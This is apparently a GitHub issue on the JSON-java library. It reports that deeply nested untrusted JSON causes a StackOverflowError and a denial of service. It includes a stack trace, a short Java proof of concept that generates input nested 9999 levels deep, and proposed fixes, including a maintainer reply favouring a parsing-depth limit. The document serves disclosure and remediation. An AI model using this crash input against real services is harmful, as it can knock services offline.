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stleary / JSON-java

A reference implementation of a JSON package in Java.
http://stleary.github.io/JSON-java/index.html
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Stack overflow error caused by guicedee parsing of untrusted JSON String #751

Open PoppingSnack opened 1 year ago

PoppingSnack commented 1 year ago

Stack overflow error caused by guicedee parsing of untrusted JSON String

Description

Using guicedee to parse untrusted JSON String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow.

Error Log

Exception in thread "main" java.lang.StackOverflowError
    at org.json.JSONTokener.next(JSONTokener.java:208)
    at org.json.JSONTokener.nextClean(JSONTokener.java:292)
    at org.json.JSONTokener.nextValue(JSONTokener.java:422)
    at org.json.JSONArray.<init>(JSONArray.java:125)
    at org.json.JSONTokener.nextValue(JSONTokener.java:434)
    at org.json.JSONArray.<init>(JSONArray.java:125)
    at org.json.JSONTokener.nextValue(JSONTokener.java:434)
    at org.json.JSONArray.<init>(JSONArray.java:125)
    at org.json.JSONTokener.nextValue(JSONTokener.java:434)
    at org.json.JSONArray.<init>(JSONArray.java:125)
    at org.json.JSONTokener.nextValue(JSONTokener.java:434)
    at org.json.JSONArray.<init>(JSONArray.java:125)
    at org.json.JSONTokener.nextValue(JSONTokener.java:434)
    at org.json.JSONArray.<init>(JSONArray.java:125)
    at org.json.JSONTokener.nextValue(JSONTokener.java:434)
    at org.json.JSONArray.<init>(JSONArray.java:125)
    at org.json.JSONTokener.nextValue(JSONTokener.java:434)
    at org.json.JSONArray.<init>(JSONArray.java:125)
    at org.json.JSONTokener.nextValue(JSONTokener.java:434)
    at org.json.JSONArray.<init>(JSONArray.java:125)
    at org.json.JSONTokener.nextValue(JSONTokener.java:434)
    at org.json.JSONArray.<init>(JSONArray.java:125)
    at org.json.JSONTokener.nextValue(JSONTokener.java:434)
    at org.json.JSONArray.<init>(JSONArray.java:125)
    at org.json.JSONTokener.nextValue(JSONTokener.java:434)
    at org.json.JSONArray.<init>(JSONArray.java:125)
    at org.json.JSONTokener.nextValue(JSONTokener.java:434)
    at org.json.JSONArray.<init>(JSONArray.java:125)
    at org.json.JSONTokener.nextValue(JSONTokener.java:434)
    at org.json.JSONArray.<init>(JSONArray.java:125)
    at org.json.JSONTokener.nextValue(JSONTokener.java:434)
    at org.json.JSONArray.<init>(JSONArray.java:125)
    at org.json.JSONTokener.nextValue(JSONTokener.java:434)
    at org.json.JSONArray.<init>(JSONArray.java:125)
    at org.json.JSONTokener.nextValue(JSONTokener.java:434)
    at org.json.JSONArray.<init>(JSONArray.java:125)
    at org.json.JSONTokener.nextValue(JSONTokener.java:434)
    at org.json.JSONArray.<init>(JSONArray.java:125)
    at org.json.JSONTokener.nextValue(JSONTokener.java:434)

PoC

        <dependency>
            <groupId>com.guicedee.services</groupId>
            <artifactId>json</artifactId>
            <version>62</version>
        </dependency>
import org.json.JSONArray;
import org.json.JSONObject;
import org.json.JSONTokener;

/**
 * PoC
 *
 * @since 1.0.0
 */
public class PoC {
    public final static int TOO_DEEP_NESTING = 9999;
    public final static String TOO_DEEP_Array = _nestedDoc(TOO_DEEP_NESTING, "[ ", "] ", "1");
    public final static String TOO_DEEP_Object = "{" + _nestedDoc(TOO_DEEP_NESTING, "\"a\": { ", "} ", "1") + "}";

    public static String _nestedDoc(int nesting, String open, String close, String content) {
        StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length()));
        for (int i = 0; i < nesting; ++i) {
            sb.append(open);
            if ((i & 31) == 0) {
                sb.append("\n");
            }
        }
        sb.append("\n").append(content).append("\n");
        for (int i = 0; i < nesting; ++i) {
            sb.append(close);
            if ((i & 31) == 0) {
                sb.append("\n");
            }
        }
        return sb.toString();
    }
    public static void main(String[] args) {
        JSONTokener jsonTokener = new JSONTokener(TOO_DEEP_Array);
        JSONArray jsonArray = new JSONArray(jsonTokener);
        JSONTokener jsonTokener2 = new JSONTokener(TOO_DEEP_Object);
        JSONObject jsonObject = new JSONObject(jsonTokener2);
    }
}

Rectification Solution

  1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b)

  2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.(（https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027）)

stleary commented 1 year ago

I think this should be fixed by updating the library to use a maximum parsing depth property (solution 1 above)